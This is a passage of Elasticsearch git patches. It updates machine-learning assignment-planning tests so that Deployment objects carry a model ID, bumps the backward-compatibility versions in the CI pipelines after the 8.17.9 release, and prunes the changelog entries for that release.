@@ -992,6 +1125,7 @@ public void testGivenClusterResize_ShouldRemoveAllocatedDeployments_NewMemoryFie
             ByteSizeValue.ofMb(100).getBytes()
         );
         Deployment deployment2 = new Deployment(
+            "m_2",
             "m_2",
             ByteSizeValue.ofMb(100).getBytes(),
             1,
@@ -1003,6 +1137,7 @@ public void testGivenClusterResize_ShouldRemoveAllocatedDeployments_NewMemoryFie
             ByteSizeValue.ofMb(150).getBytes()
         );
         Deployment deployment3 = new Deployment(
+            "m_3",
             "m_3",
             ByteSizeValue.ofMb(50).getBytes(),
             1,
@@ -1048,6 +1183,7 @@ public static List<Deployment> createDeploymentsFromPlan(AssignmentPlan plan) {
             deployments.add(
                 new Deployment(
                     m.deploymentId(),
+                    m.modelId(),
                     m.memoryBytes(),
                     m.allocations(),
                     m.threadsPerAllocation(),
@@ -1116,6 +1252,7 @@ public static Deployment randomModel(String idSuffix) {
         // randomly choose between old and new memory fields format
         if (randomBoolean()) {
             return new Deployment(
+                "m_" + idSuffix,
                 "m_" + idSuffix,
                 randomLongBetween(ByteSizeValue.ofMb(100).getBytes(), ByteSizeValue.ofGb(10).getBytes()),
                 randomIntBetween(1, 32),
@@ -1128,6 +1265,7 @@ public static Deployment randomModel(String idSuffix) {
             );
         } else {
             return new Deployment(
+                "m_" + idSuffix,
                 "m_" + idSuffix,
                 randomLongBetween(ByteSizeValue.ofMb(100).getBytes(), ByteSizeValue.ofGb(1).getBytes()),
                 randomIntBetween(1, 32),
@@ -1165,7 +1303,7 @@ private void runTooManyNodesAndDeployments(int nodesSize, int modelsSize) {
         }
         List<Deployment> deployments = new ArrayList<>();
         for (int i = 0; i < modelsSize; i++) {
-            deployments.add(new Deployment("m_" + i, ByteSizeValue.ofMb(200).getBytes(), 2, 1, Map.of(), 0, null, 0, 0));
+            deployments.add(new Deployment("m_" + i, "m_" + i, ByteSizeValue.ofMb(200).getBytes(), 2, 1, Map.of(), 0, null, 0, 0));
         }
 
         // Check plan is computed without OOM exception
diff --git a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/PreserveAllAllocationsTests.java b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/PreserveAllAllocationsTests.java
index 7499470cc8d6f..d22394ec86a77 100644
--- a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/PreserveAllAllocationsTests.java
+++ b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/PreserveAllAllocationsTests.java
@@ -25,8 +25,8 @@ public class PreserveAllAllocationsTests extends ESTestCase {
     public void testGivenNoPreviousAssignments() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(440).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(440).getBytes(), 4);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(30).getBytes(), 2, 4, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(30).getBytes(), 2, 4, Map.of(), 0, null, 0, 0);
         PreserveAllAllocations preserveAllAllocations = new PreserveAllAllocations(
             List.of(node1, node2),
             List.of(deployment1, deployment2)
@@ -39,6 +39,7 @@ public void testGivenPreviousAssignments() {
             Node node1 = new Node("n_1", ByteSizeValue.ofMb(640).getBytes(), 8);
             Node node2 = new Node("n_2", ByteSizeValue.ofMb(640).getBytes(), 8);
             Deployment deployment1 = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(30).getBytes(),
                 2,
@@ -50,6 +51,7 @@ public void testGivenPreviousAssignments() {
                 0
             );
             Deployment deployment2 = new Deployment(
+                "m_2",
                 "m_2",
                 ByteSizeValue.ofMb(50).getBytes(),
                 6,
@@ -122,6 +124,7 @@ public void testGivenPreviousAssignments() {
             Node node1 = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 8);
             Node node2 = new Node("n_2", ByteSizeValue.ofMb(1000).getBytes(), 8);
             Deployment deployment1 = new AssignmentPlan.Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(30).getBytes(),
                 2,
@@ -133,6 +136,7 @@ public void testGivenPreviousAssignments() {
                 ByteSizeValue.ofMb(10).getBytes()
             );
             Deployment deployment2 = new Deployment(
+                "m_2",
                 "m_2",
                 ByteSizeValue.ofMb(50).getBytes(),
                 6,
@@ -208,7 +212,7 @@ public void testGivenPreviousAssignments() {
 
     public void testGivenModelWithPreviousAssignments_AndPlanToMergeHasNoAssignments() {
         Node node = new Node("n_1", ByteSizeValue.ofMb(400).getBytes(), 4);
-        Deployment deployment = new Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 2, Map.of("n_1", 2), 2, null, 0, 0);
+        Deployment deployment = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 2, Map.of("n_1", 2), 2, null, 0, 0);
         PreserveAllAllocations preserveAllAllocations = new PreserveAllAllocations(List.of(node), List.of(deployment));
 
         AssignmentPlan plan = AssignmentPlan.builder(List.of(node), List.of(deployment)).build();
diff --git a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/PreserveOneAllocationTests.java b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/PreserveOneAllocationTests.java
index bc95fb1e0339e..6f340900276ff 100644
--- a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/PreserveOneAllocationTests.java
+++ b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/PreserveOneAllocationTests.java
@@ -26,8 +26,30 @@ public class PreserveOneAllocationTests extends ESTestCase {
     public void testGivenNoPreviousAssignments() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(440).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(440).getBytes(), 4);
-        Deployment deployment1 = new AssignmentPlan.Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
-        AssignmentPlan.Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(30).getBytes(), 2, 4, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new AssignmentPlan.Deployment(
+            "m_1",
+            "m_1",
+            ByteSizeValue.ofMb(30).getBytes(),
+            2,
+            1,
+            Map.of(),
+            0,
+            null,
+            0,
+            0
+        );
+        AssignmentPlan.Deployment deployment2 = new Deployment(
+            "m_2",
+            "m_2",
+            ByteSizeValue.ofMb(30).getBytes(),
+            2,
+            4,
+            Map.of(),
+            0,
+            null,
+            0,
+            0
+        );
         PreserveOneAllocation preserveOneAllocation = new PreserveOneAllocation(List.of(node1, node2), List.of(deployment1, deployment2));
 
         List<Node> nodesPreservingAllocations = preserveOneAllocation.nodesPreservingAllocations();
@@ -42,8 +64,9 @@ public void testGivenPreviousAssignments() {
             // old memory format
             Node node1 = new Node("n_1", ByteSizeValue.ofMb(640).getBytes(), 8);
             Node node2 = new Node("n_2", ByteSizeValue.ofMb(640).getBytes(), 8);
-            Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of("n_1", 1), 1, null, 0, 0);
+            Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 1, Map.of("n_1", 1), 1, null, 0, 0);
             Deployment deployment2 = new Deployment(
+                "m_2",
                 "m_2",
                 ByteSizeValue.ofMb(50).getBytes(),
                 6,
@@ -121,6 +144,7 @@ public void testGivenPreviousAssignments() {
             Node node1 = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 8);
             Node node2 = new Node("n_2", ByteSizeValue.ofMb(1000).getBytes(), 8);
             Deployment deployment1 = new Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(30).getBytes(),
                 2,
@@ -132,6 +156,7 @@ public void testGivenPreviousAssignments() {
                 ByteSizeValue.ofMb(10).getBytes()
             );
             Deployment deployment2 = new Deployment(
+                "m_2",
                 "m_2",
                 ByteSizeValue.ofMb(50).getBytes(),
                 6,
@@ -211,7 +236,7 @@ public void testGivenModelWithPreviousAssignments_AndPlanToMergeHasNoAssignments
         {
             // old memory format
             Node node = new Node("n_1", ByteSizeValue.ofMb(400).getBytes(), 4);
-            Deployment deployment = new Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 2, Map.of("n_1", 2), 2, null, 0, 0);
+            Deployment deployment = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(30).getBytes(), 2, 2, Map.of("n_1", 2), 2, null, 0, 0);
             PreserveOneAllocation preserveOneAllocation = new PreserveOneAllocation(List.of(node), List.of(deployment));
 
             AssignmentPlan plan = AssignmentPlan.builder(List.of(node), List.of(deployment)).build();
@@ -227,6 +252,7 @@ public void testGivenModelWithPreviousAssignments_AndPlanToMergeHasNoAssignments
             // new memory format
             Node node = new Node("n_1", ByteSizeValue.ofMb(400).getBytes(), 4);
             Deployment deployment = new Deployment(
+                "m_1",
                 "m_1",
                 ByteSizeValue.ofMb(30).getBytes(),
                 2,
diff --git a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlannerTests.java b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlannerTests.java
index 7005ad959577b..ea23bfde0d848 100644
--- a/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlannerTests.java
+++ b/x-pack/plugin/ml/src/test/java/org/elasticsearch/xpack/ml/inference/assignment/planning/ZoneAwareAssignmentPlannerTests.java
@@ -36,7 +36,7 @@ public class ZoneAwareAssignmentPlannerTests extends ESTestCase {
 
     public void testGivenOneModel_OneNode_OneZone_DoesNotFit() {
         Node node = new Node("n_1", 100, 1);
-        AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment("m_1", 100, 1, 2, Map.of(), 0, null, 0, 0);
+        AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment("m_1", "m_1", 100, 1, 2, Map.of(), 0, null, 0, 0);
 
         AssignmentPlan plan = new ZoneAwareAssignmentPlanner(Map.of(List.of(), List.of(node)), List.of(deployment)).computePlan();
 
@@ -46,6 +46,7 @@ public void testGivenOneModel_OneNode_OneZone_DoesNotFit() {
     public void testGivenOneModel_OneNode_OneZone_FullyFits() {
         Node node = new Node("n_1", ByteSizeValue.ofMb(440).getBytes(), 4);
         AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             2,
@@ -65,6 +66,7 @@ public void testGivenOneModel_OneNode_OneZone_FullyFits() {
     public void testGivenOneModel_OneNode_OneZone_PartiallyFits() {
         Node node = new Node("n_1", ByteSizeValue.ofMb(440).getBytes(), 5);
         AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             3,
@@ -87,6 +89,7 @@ public void testGivenOneModelWithSingleAllocation_OneNode_TwoZones() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(440).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(440).getBytes(), 4);
         AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             1,
@@ -115,6 +118,7 @@ public void testGivenOneModel_OneNodePerZone_TwoZones_FullyFits() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(440).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(440).getBytes(), 4);
         AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             2,
@@ -142,6 +146,7 @@ public void testGivenOneModel_OneLargeNodePerZone_TwoZones_FullyFits() {
         Node node1 = new Node("n_1", ByteSizeValue.ofGb(16).getBytes(), 8);
         Node node2 = new Node("n_2", ByteSizeValue.ofGb(16).getBytes(), 8);
         AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             4,
@@ -169,6 +174,7 @@ public void testGivenOneModel_OneNodePerZone_TwoZones_PartiallyFits() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(440).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(440).getBytes(), 4);
         AssignmentPlan.Deployment deployment = new AssignmentPlan.Deployment(
+            "m_1",
             "m_1",
             ByteSizeValue.ofMb(100).getBytes(),
             3,
@@ -200,9 +206,9 @@ public void testGivenThreeDeployments_TwoNodesPerZone_ThreeZones_FullyFit() {
         Node node4 = new Node("n_4", ByteSizeValue.ofMb(1000).getBytes(), 4);
         Node node5 = new Node("n_5", ByteSizeValue.ofMb(1000).getBytes(), 4);
         Node node6 = new Node("n_6", ByteSizeValue.ofMb(1000).getBytes(), 4);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(30).getBytes(), 6, 2, Map.of(), 0, null, 0, 0);
-        Deployment deployment3 = new Deployment("m_3", ByteSizeValue.ofMb(30).getBytes(), 2, 3, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(30).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(30).getBytes(), 6, 2, Map.of(), 0, null, 0, 0);
+        Deployment deployment3 = new Deployment("m_3", "m_3", ByteSizeValue.ofMb(30).getBytes(), 2, 3, Map.of(), 0, null, 0, 0);
 
         Map<List<String>, List<Node>> nodesByZone = Map.of(
             List.of("z_1"),
@@ -248,8 +254,8 @@ public void testGivenTwoDeploymentsWithSingleAllocation_OneNode_ThreeZones() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(1000).getBytes(), 4);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(1000).getBytes(), 4);
         Node node3 = new Node("n_3", ByteSizeValue.ofMb(1000).getBytes(), 4);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(30).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(30).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(30).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(30).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
 
         AssignmentPlan plan = new ZoneAwareAssignmentPlanner(
             Map.of(List.of("z1"), List.of(node1), List.of("z2"), List.of(node2), List.of("z3"), List.of(node3)),
@@ -282,6 +288,7 @@ public void testPreviousAssignmentsGetAtLeastAsManyAllocationsAfterAddingNewMode
             previousModelsPlusNew.add(
                 new AssignmentPlan.Deployment(
                     m.deploymentId(),
+                    m.modelId(),
                     m.memoryBytes(),
                     m.allocations(),
                     m.threadsPerAllocation(),
@@ -303,9 +310,9 @@ public void testPreviousAssignmentsGetAtLeastAsManyAllocationsAfterAddingNewMode
     public void testGivenClusterResize_GivenOneZone_ShouldAllocateEachModelAtLeastOnce() {
         Node node1 = new Node("n_1", ByteSizeValue.ofMb(2580).getBytes(), 2);
         Node node2 = new Node("n_2", ByteSizeValue.ofMb(2580).getBytes(), 2);
-        Deployment deployment1 = new Deployment("m_1", ByteSizeValue.ofMb(800).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment2 = new Deployment("m_2", ByteSizeValue.ofMb(800).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
-        Deployment deployment3 = new Deployment("m_3", ByteSizeValue.ofMb(250).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment1 = new Deployment("m_1", "m_1", ByteSizeValue.ofMb(800).getBytes(), 2, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment2 = new Deployment("m_2", "m_2", ByteSizeValue.ofMb(800).getBytes(), 1, 1, Map.of(), 0, null, 0, 0);
+        Deployment deployment3 = new Deployment("m_3", "m_3", ByteSizeValue.ofMb(250).getBytes(), 4, 1, Map.of(), 0, null, 0, 0);
 
         // First only start m_1
         AssignmentPlan assignmentPlan = new ZoneAwareAssignmentPlanner(Map.of(List.of(), List.of(node1, node2)), List.of(deployment1))

From 8b857b96be8f0fcbb29b64ef627dea9203f40200 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
Date: Tue, 22 Jul 2025 18:20:04 +0000
Subject: [PATCH 208/299] Bump versions after 8.17.9 release

---
 .buildkite/pipelines/intake.yml                        |  2 +-
 .buildkite/pipelines/periodic-packaging.yml            |  6 +++---
 .buildkite/pipelines/periodic.yml                      | 10 +++++-----
 .ci/bwcVersions                                        |  2 +-
 .ci/snapshotBwcVersions                                |  2 +-
 .../main/java/org/elasticsearch/TransportVersions.java |  1 +
 server/src/main/java/org/elasticsearch/Version.java    |  1 +
 .../resources/org/elasticsearch/TransportVersions.csv  |  1 +
 .../org/elasticsearch/index/IndexVersions.csv          |  1 +
 9 files changed, 15 insertions(+), 11 deletions(-)

diff --git a/.buildkite/pipelines/intake.yml b/.buildkite/pipelines/intake.yml
index 93c5c8eecc3fb..337a5246bf643 100644
--- a/.buildkite/pipelines/intake.yml
+++ b/.buildkite/pipelines/intake.yml
@@ -65,7 +65,7 @@ steps:
         timeout_in_minutes: 300
         matrix:
           setup:
-            BWC_VERSION: ["8.17.9", "8.18.4", "8.19.0", "9.0.4", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.4", "8.19.0", "9.0.4", "9.1.0"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.buildkite/pipelines/periodic-packaging.yml b/.buildkite/pipelines/periodic-packaging.yml
index cac74ac6ebaae..3d2f6f546ce81 100644
--- a/.buildkite/pipelines/periodic-packaging.yml
+++ b/.buildkite/pipelines/periodic-packaging.yml
@@ -302,8 +302,8 @@ steps:
         env:
           BWC_VERSION: 8.16.6
 
-      - label: "{{matrix.image}} / 8.17.9 / packaging-tests-upgrade"
-        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.17.9
+      - label: "{{matrix.image}} / 8.17.10 / packaging-tests-upgrade"
+        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.17.10
         timeout_in_minutes: 300
         matrix:
           setup:
@@ -316,7 +316,7 @@ steps:
           machineType: custom-16-32768
           buildDirectory: /dev/shm/bk
         env:
-          BWC_VERSION: 8.17.9
+          BWC_VERSION: 8.17.10
 
       - label: "{{matrix.image}} / 8.18.4 / packaging-tests-upgrade"
         command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.18.4
diff --git a/.buildkite/pipelines/periodic.yml b/.buildkite/pipelines/periodic.yml
index 65b955354171d..a027379382c58 100644
--- a/.buildkite/pipelines/periodic.yml
+++ b/.buildkite/pipelines/periodic.yml
@@ -325,8 +325,8 @@ steps:
             - signal_reason: agent_stop
               limit: 3
 
-      - label: 8.17.9 / bwc
-        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.17.9#bwcTest
+      - label: 8.17.10 / bwc
+        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.17.10#bwcTest
         timeout_in_minutes: 300
         agents:
           provider: gcp
@@ -335,7 +335,7 @@ steps:
           buildDirectory: /dev/shm/bk
           preemptible: true
         env:
-          BWC_VERSION: 8.17.9
+          BWC_VERSION: 8.17.10
         retry:
           automatic:
             - exit_status: "-1"
@@ -487,7 +487,7 @@ steps:
           setup:
             ES_RUNTIME_JAVA:
               - openjdk21
-            BWC_VERSION: ["8.17.9", "8.18.4", "8.19.0", "9.0.4", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.4", "8.19.0", "9.0.4", "9.1.0"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
@@ -531,7 +531,7 @@ steps:
             ES_RUNTIME_JAVA:
               - openjdk21
               - openjdk23
-            BWC_VERSION: ["8.17.9", "8.18.4", "8.19.0", "9.0.4", "9.1.0"]
+            BWC_VERSION: ["8.17.10", "8.18.4", "8.19.0", "9.0.4", "9.1.0"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.ci/bwcVersions b/.ci/bwcVersions
index 33f7091cad164..34d6c127853cd 100644
--- a/.ci/bwcVersions
+++ b/.ci/bwcVersions
@@ -16,7 +16,7 @@ BWC_VERSION:
   - "8.14.3"
   - "8.15.5"
   - "8.16.6"
-  - "8.17.9"
+  - "8.17.10"
   - "8.18.4"
   - "8.19.0"
   - "9.0.4"
diff --git a/.ci/snapshotBwcVersions b/.ci/snapshotBwcVersions
index 2df77ed9ede11..1ac5ee85e5f63 100644
--- a/.ci/snapshotBwcVersions
+++ b/.ci/snapshotBwcVersions
@@ -1,5 +1,5 @@
 BWC_VERSION:
-  - "8.17.9"
+  - "8.17.10"
   - "8.18.4"
   - "8.19.0"
   - "9.0.4"
diff --git a/server/src/main/java/org/elasticsearch/TransportVersions.java b/server/src/main/java/org/elasticsearch/TransportVersions.java
index 9720564a7a520..2cae4d6117a92 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersions.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersions.java
@@ -99,6 +99,7 @@ static TransportVersion def(int id) {
     public static final TransportVersion INITIAL_ELASTICSEARCH_8_17_7 = def(8_797_0_07);
     public static final TransportVersion INITIAL_ELASTICSEARCH_8_17_8 = def(8_797_0_08);
     public static final TransportVersion INITIAL_ELASTICSEARCH_8_17_9 = def(8_797_0_09);
+    public static final TransportVersion INITIAL_ELASTICSEARCH_8_17_10 = def(8_797_0_10);
     public static final TransportVersion INDEXING_PRESSURE_THROTTLING_STATS = def(8_798_0_00);
     public static final TransportVersion REINDEX_DATA_STREAMS = def(8_799_0_00);
     public static final TransportVersion ESQL_REMOVE_NODE_LEVEL_PLAN = def(8_800_0_00);
diff --git a/server/src/main/java/org/elasticsearch/Version.java b/server/src/main/java/org/elasticsearch/Version.java
index 925370623a888..1c5b7e063b1b0 100644
--- a/server/src/main/java/org/elasticsearch/Version.java
+++ b/server/src/main/java/org/elasticsearch/Version.java
@@ -205,6 +205,7 @@ public class Version implements VersionId<Version>, ToXContentFragment {
     public static final Version V_8_17_7 = new Version(8_17_07_99);
     public static final Version V_8_17_8 = new Version(8_17_08_99);
     public static final Version V_8_17_9 = new Version(8_17_09_99);
+    public static final Version V_8_17_10 = new Version(8_17_10_99);
     public static final Version V_8_18_0 = new Version(8_18_00_99);
     public static final Version V_8_18_1 = new Version(8_18_01_99);
     public static final Version V_8_18_2 = new Version(8_18_02_99);
diff --git a/server/src/main/resources/org/elasticsearch/TransportVersions.csv b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
index 58c5afa760383..f9f2984eb3eba 100644
--- a/server/src/main/resources/org/elasticsearch/TransportVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
@@ -149,6 +149,7 @@
 8.17.6,8797006
 8.17.7,8797007
 8.17.8,8797008
+8.17.9,8797009
 8.18.0,8840002
 8.18.1,8840003
 8.18.2,8840004
diff --git a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
index 058080bb5725a..bfef99a64d214 100644
--- a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
@@ -149,6 +149,7 @@
 8.17.6,8521000
 8.17.7,8521000
 8.17.8,8521000
+8.17.9,8521000
 8.18.0,8525000
 8.18.1,8525000
 8.18.2,8525000

From c0ef52ee6346c2475d14f561ea13ee205117f60c Mon Sep 17 00:00:00 2001
From: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
Date: Tue, 22 Jul 2025 18:22:41 +0000
Subject: [PATCH 209/299] Prune changelogs after 8.17.9 release

---
 docs/changelog/129223.yaml | 5 -----
 docs/changelog/129325.yaml | 6 ------
 docs/changelog/129370.yaml | 7 -------
 docs/changelog/129600.yaml | 7 -------
 docs/changelog/129725.yaml | 5 -----
 docs/changelog/129904.yaml | 5 -----
 docs/changelog/130083.yaml | 5 -----
 docs/changelog/130303.yaml | 5 -----
 docs/changelog/130448.yaml | 6 ------
 docs/changelog/130452.yaml | 5 -----
 docs/changelog/130521.yaml | 5 -----
 docs/changelog/130576.yaml | 5 -----
 docs/changelog/130705.yaml | 5 -----
 docs/changelog/130776.yaml | 6 ------
 docs/changelog/130924.yaml | 6 ------
 docs/changelog/131032.yaml | 5 -----
 docs/changelog/131081.yaml | 6 ------
 docs/changelog/131113.yaml | 5 -----
 18 files changed, 99 deletions(-)
 delete mode 100644 docs/changelog/129223.yaml
 delete mode 100644 docs/changelog/129325.yaml
 delete mode 100644 docs/changelog/129370.yaml
 delete mode 100644 docs/changelog/129600.yaml
 delete mode 100644 docs/changelog/129725.yaml
 delete mode 100644 docs/changelog/129904.yaml
 delete mode 100644 docs/changelog/130083.yaml
 delete mode 100644 docs/changelog/130303.yaml
 delete mode 100644 docs/changelog/130448.yaml
 delete mode 100644 docs/changelog/130452.yaml
 delete mode 100644 docs/changelog/130521.yaml
 delete mode 100644 docs/changelog/130576.yaml
 delete mode 100644 docs/changelog/130705.yaml
 delete mode 100644 docs/changelog/130776.yaml
 delete mode 100644 docs/changelog/130924.yaml
 delete mode 100644 docs/changelog/131032.yaml
 delete mode 100644 docs/changelog/131081.yaml
 delete mode 100644 docs/changelog/131113.yaml

diff --git a/docs/changelog/129223.yaml b/docs/changelog/129223.yaml
deleted file mode 100644
index ec84ec52c8cf7..0000000000000
--- a/docs/changelog/129223.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129223
-summary: Fix text similarity reranker does not propagate min score correctly
-area: Search
-type: bug
-issues: []
diff --git a/docs/changelog/129325.yaml b/docs/changelog/129325.yaml
deleted file mode 100644
index cbbb309dceee0..0000000000000
--- a/docs/changelog/129325.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 129325
-summary: Check for model deployment in inference endpoints before stopping
-area: Machine Learning
-type: bug
-issues:
- - 128549
diff --git a/docs/changelog/129370.yaml b/docs/changelog/129370.yaml
deleted file mode 100644
index 73d1c25f4b34c..0000000000000
--- a/docs/changelog/129370.yaml
+++ /dev/null
@@ -1,7 +0,0 @@
-pr: 129370
-summary: Avoid dropping aggregate groupings in local plans
-area: ES|QL
-type: bug
-issues:
- - 129811
- - 128054
diff --git a/docs/changelog/129600.yaml b/docs/changelog/129600.yaml
deleted file mode 100644
index c97f08477f833..0000000000000
--- a/docs/changelog/129600.yaml
+++ /dev/null
@@ -1,7 +0,0 @@
-pr: 129600
-summary: Make flattened synthetic source concatenate object keys on scalar/object
-  mismatch
-area: Mapping
-type: bug
-issues:
- - 122936
diff --git a/docs/changelog/129725.yaml b/docs/changelog/129725.yaml
deleted file mode 100644
index 8c14844871297..0000000000000
--- a/docs/changelog/129725.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129725
-summary: Throw a 400 when sorting for all types of range fields
-area: Search
-type: bug
-issues: []
diff --git a/docs/changelog/129904.yaml b/docs/changelog/129904.yaml
deleted file mode 100644
index f8945cac1d3c3..0000000000000
--- a/docs/changelog/129904.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 129904
-summary: Reverse disordered-version warning message
-area: Infra/Core
-type: bug
-issues: []
diff --git a/docs/changelog/130083.yaml b/docs/changelog/130083.yaml
deleted file mode 100644
index 1b32881659531..0000000000000
--- a/docs/changelog/130083.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130083
-summary: Fix timeout bug in DBQ deletion of unused and orphan ML data
-area: Machine Learning
-type: bug
-issues: []
diff --git a/docs/changelog/130303.yaml b/docs/changelog/130303.yaml
deleted file mode 100644
index aff277f67eba1..0000000000000
--- a/docs/changelog/130303.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130303
-summary: Drain responses on completion for `TransportNodesAction`
-area: Distributed
-type: bug
-issues: []
diff --git a/docs/changelog/130448.yaml b/docs/changelog/130448.yaml
deleted file mode 100644
index d99ef37b0e071..0000000000000
--- a/docs/changelog/130448.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 130448
-summary: Fix wildcard drop after lookup join
-area: ES|QL
-type: bug
-issues:
- - 129561
diff --git a/docs/changelog/130452.yaml b/docs/changelog/130452.yaml
deleted file mode 100644
index b40a8a2e14fd1..0000000000000
--- a/docs/changelog/130452.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 130452
-summary: "Aggs: Add cancellation checks to `FilterByFilter` aggregator"
-area: Aggregations
-type: bug
-issues: []
